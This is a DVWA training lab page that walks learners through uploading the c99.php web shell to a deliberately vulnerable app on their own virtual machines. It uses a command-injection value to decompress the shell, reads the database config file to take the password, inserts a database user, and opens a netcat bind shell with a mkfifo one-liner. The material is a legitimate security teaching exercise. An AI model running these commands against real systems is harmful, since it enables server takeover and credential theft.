ComputerSecurityStudent (CSS) [Login] [Join Now]


|SECURITY TOOLS >> Damn Vulnerable Web App >> DVWA v1.0.7 >> Current Page |Views: 65022

(Damn Vulnerable Web App (DVWA): Lesson 14)

{ Upload and use C99.php Backdoor shell  }

Section 0. Background Information
  1. What is Damn Vulnerable Web App (DVWA)?
    • Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable.
    • Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

  2. What is an Upload Attack Vector?
    • An Upload Attack Vector exists when a website application provides the ability to upload files.
    • Uploaded files represent a significant risk to applications.
    • The first step in many attacks is to get some code to the system to be attacked.
    • Then the attack only needs to find a way to get the code executed.
    • Using a file upload helps the attacker accomplish the first step.
    • The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system, forwarding attacks to backend systems, and simple defacement. It depends on what the application does with the uploaded file, including where it is stored.

  3. What is c99.php?
    • The c99 PHP utility provides functionality for listing files, brute-forcing FTP passwords, updating itself, executing shell commands and PHP code. It also provides for connecting to MySQL databases, and initiating a connect-back shell session. In many ways it can be considered the web equivalent of the rootkits that successful attackers often download. In other ways it is the malware equivalent of PHPShell itself. c99 is often one of the utility programs that is either downloaded if a web server is vulnerable due to being misconfigured, or can be used in a remote file include attack to try and execute shell commands on a vulnerable server. Figure 6 provides a screenshot of the c99 PHP shell running on a web server.

  4. Pre-Requisite Labs
  5. References
  6. Lab Notes
    • In this lab we will do the following:
      1. We will download C99.php.
      2. We will upload C99.php to the DVWA Upload screen.
      3. We will search for sensitive database files.
      4. We will extract the database password.
      5. We will execute netcat from the C99.php Bind Interface.

  7. Legal Disclaimer
    • As a condition of your use of this Web site, you warrant to computersecuritystudent.com that you will not use this Web site for any purpose that is unlawful or that is prohibited by these terms, conditions, and notices.
    • In accordance with UCC § 2-316, this product is provided with "no warranties, either expressed or implied." The information contained is provided "as-is", with "no guarantee of merchantability."
    • In addition, this is a teaching website that does not condone malicious behavior of any kind.
    • You are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.
    • © 2013 No content replication of any kind is allowed without express written permission.

     

Section 1: Configure Fedora14 Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player

     

  2. Edit Fedora14 Virtual Machine Settings
    • Instructions:
      1. Highlight fedora14
      2. Click Edit virtual machine settings

     

  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Click on the OK Button.

 

Section 2: Login to Fedora14
  1. Start Fedora14 VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select Fedora14
      3. Play virtual machine

     

  2. Login to Fedora14
    • Instructions:
      1. Login: student
      2. Password: <whatever you set it to>.

     

Section 3: Open Console Terminal and Retrieve IP Address
  1. Start a Terminal Console
    • Instructions:
      1. Applications --> Terminal

     

  2. Switch user to root
    • Instructions:
      1. su - root
      2. <Whatever you set the root password to>

     

  3. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.106.
      • Please record your IP address.

     

Section 4: Fix Upload Ownership and Permissions
  1. Fix Ownership and Permissions
    • Instructions:
      1. Bring up a Terminal Console on the DVWA (Fedora14) machine.
      2. chown root:apache /var/www/html/dvwa/hackable/uploads/
      3. chmod 775 /var/www/html/dvwa/hackable/uploads/
      4. ls -ld /var/www/html/dvwa/hackable/uploads/
    • Note(FYI):
      1. By default, the /var/www/html/dvwa/hackable/uploads/ directory is user and group owned by root.
      2. In addition, the apache user did not have "write" permission to allow a user to place a file in the hackable/uploads directory.

 

Section 5: Configure BackTrack Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player

     

  2. Edit BackTrack Virtual Machine Settings
    • Instructions:
      1. Highlight BackTrack5R1
      2. Click Edit virtual machine settings

     

  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Click on the OK Button.

 

Section 6: Login to BackTrack
  1. Start BackTrack VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select BackTrack5R1
      3. Play virtual machine

     

  2. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.

     

  3. Bring up the GNOME
    • Instructions:
      1. Type startx

 

Section 7: Open Console Terminal and Retrieve IP Address
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal

     

  2. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.105.
      • Please record your IP address.

 

Section 8: Download c99:php
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal

     

  2. Get Rar File
    • Instructions:
      1. mkdir -p /root/backdoor
      2. cd /root/backdoor/
      3. wget http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson14/stuff.rar
      4. ls -lrt

     

  3. Extract Rar File
    • Instructions:
      1. unrar x stuff.rar
      2. cat part1.txt part2.txt part3.txt > c99.php
      3. cp c99.php c99.php.bkp
      4. ls -lrt

     

  4. Configure and Prepare c99.php
    • Instructions:
      1. head -1 c99.php
        • Notice how the first line does NOT contain "<?php".
      2. sed -i '1 s/^.*$/<?php/g' c99.php
        • This only replaces the first line of file with "<?php".
      3. head -1 c99.php
        • Notice how the first line DOES contain "<?php".
      4. gzip c99.php
        • I compress c99.php, because DVWA does not allow you to upload files greater than 10000 bytes.
        • I use gzip instead of rar, because gzip pretty much comes standard on most flavors of linux.
      5. ls -l

 

Section 9: Login to DVWA
  1. Start Firefox
    • Instructions:
      1. Click on Firefox

     

  2. Login to DVWA
    • Instructions:
      1. Start up Firefox on BackTrack
      2. Place http://192.168.1.106/dvwa/login.php in the address bar.
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
      3. Login: admin
      4. Password: password
      5. Click on Login

 

Section 10: Set Security Level
  1. Set DVWA Security Level
    • Instructions:
      1. Click on DVWA Security, in the left hand menu.
      2. Select "low"
      3. Click Submit

     

Section 11: Upload PHP Payload
  1. Upload Menu
    • Instructions:
      1. Select "Upload" from the left navigation menu.
      2. Click Browse

     

  2. Navigate to /root/backdoor/c99.php.gz
    • Instructions:
      1. Click on root icon, then the backdoor folder
      2. Click on c99.php.gz
      3. Select Open

     

  3. Upload c99.php.gz
    • Instructions:
      1. Click the Browse button and navigate to /root/backdoor/c99.php.gz
      2. Click the Upload Button
    • Note(FYI):
      • Hopefully you will receive a successfully uploaded message like below.

     

  4. Activate PHONE_HOME.php
    • Instructions:
      1. http://192.168.1.106/dvwa/hackable/uploads/
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
      2. Notice c99.php.gz is listed
      3. Click the Back Button after you read the below Note.
    • Note(FYI):
      • Okay this is great and all, but we still have a problem.
      • The problem is that we cannot execute a compressed php file.

     

  5. Use Command Execution to uncompress c99.php.gz
    • Instruction:
      1. Click on Command Execution
      2. 192.168.1.106; /bin/gunzip -v ../../hackable/uploads/c99.php
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
      3. Click the Submit Button

     

  6. Establishing a Shell
    • Instructions:
      1. http://192.168.1.106/dvwa/hackable/uploads/
        • Replace 192.168.1.106 with the IP address of the DVWA (Fedora14) machine obtained in (Section 3, Step 3).
      2. Click on c99.php

 

Section 13: Using c99.php's to grab database password
  1. Server security information
    • Instructions:
      1. Click on the Sec. link
      2. Select "find config.inc.php files"
        • Sometimes ignorant application admins place database config files in a public location.
      3. Click on the Execute button

     

  2. Server security information
    • Instructions:
      1. Highlight /var/www/html/dvwa/config/config.inc.php
      2. Select Edit --> Copy

     

  3. PHP-code
    • Instructions:
      1. Click on the PHP-code link
      2. In the Execution PHP-code box place the below command:
        • system("cat /var/www/html/dvwa/config/config.inc.php");
      3. Click on the Execution Button

     

  4. Extract Database Password
    • Note(FYI):
      • Notice the config.inc.php file list the database name, username and password information.
    • Instructions:
      1. Write down the the database name, username and password information.

 

Section 14: Using c99.php's to examine pillage the database
  1. Connect to SQL
    • Instructions:
      1. Click the SQL navigation link.
      2. Username: root
      3. Password: dvwaPASSWORD
      4. Database: dvwa
      5. Click the Connect Button

     

  2. Connect to SQL
    • Note(FYI):
      • Notice Action icons, designated under the yellow arrow.  From left to right, the stand for delete, drop and insert.
      • Notice you have the ability to Create and Dump the database, which is also designated with yellow arrows.
    • Instructions:
      1. Click the users table

     

  3. SQL Insert
    • Note(FYI):
      • Notice the Action icons, designated under the yellow arrow.  For each user from left to right, you have the ability to delete or modify their record.
    • Instructions:
      1. Click the Insert Navigational Link

     

  4. Create a new user
    • Note(FYI):
      • Use your first_name and last_name for Proof of Lab purposes.
    • Instructions:
      1. user_id: 6
      2. first_name: Use your actual first name
      3. last_name: Use your actual last name
      4. user: student
      5. Select PASSWORD from the drop down
      6. password: hacker
      7. avatar: NA
      8. Click the Confirm Button

     

  5. Finalize User Creation
    • Note(FYI):
      • Notice the SQL insert line that will be inserted into the database.  Here, the author allows you to tweak it if you need to.
    • Instructions:
      1. Click on the Yes button.

     

  6. Viewing User Creation Results
    • Note(FYI):
      • Notice a new student record appears.

 

Section 15: Use c99.php to Bind with Netcat
  1. Bind with Netcat
    • Instructions:
      1. Click on the Bind Navigational Link
      2. In the Command execute box enter the below syntax
        • mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
      3. Click the Execute Button
      4. Notice the Connecting Message in the tab.
        • This means a netcat session is started
      5. Continue to next step

 

Section 16: Proof of Lab
  1. Proof of Lab
    • Instructions:
      1. nc 192.168.1.106 4444
        • Replace 192.168.1.106 with the DVWA's IP Address obtained in (Section 3, Step 3).
      2. whoami
      3. pwd
      4. echo "select * from dvwa.users where user = 'student';" | mysql -uroot -pdvwaPASSWORD
      5. date
      6. echo "Your Name"
    • Proof of Lab Instructions:
      1. Do a <PrtScn>
      2. Paste into a word document
      3. Upload to Moodle

 


Help ComputerSecurityStudent
pay for continued research,
resources & bandwidth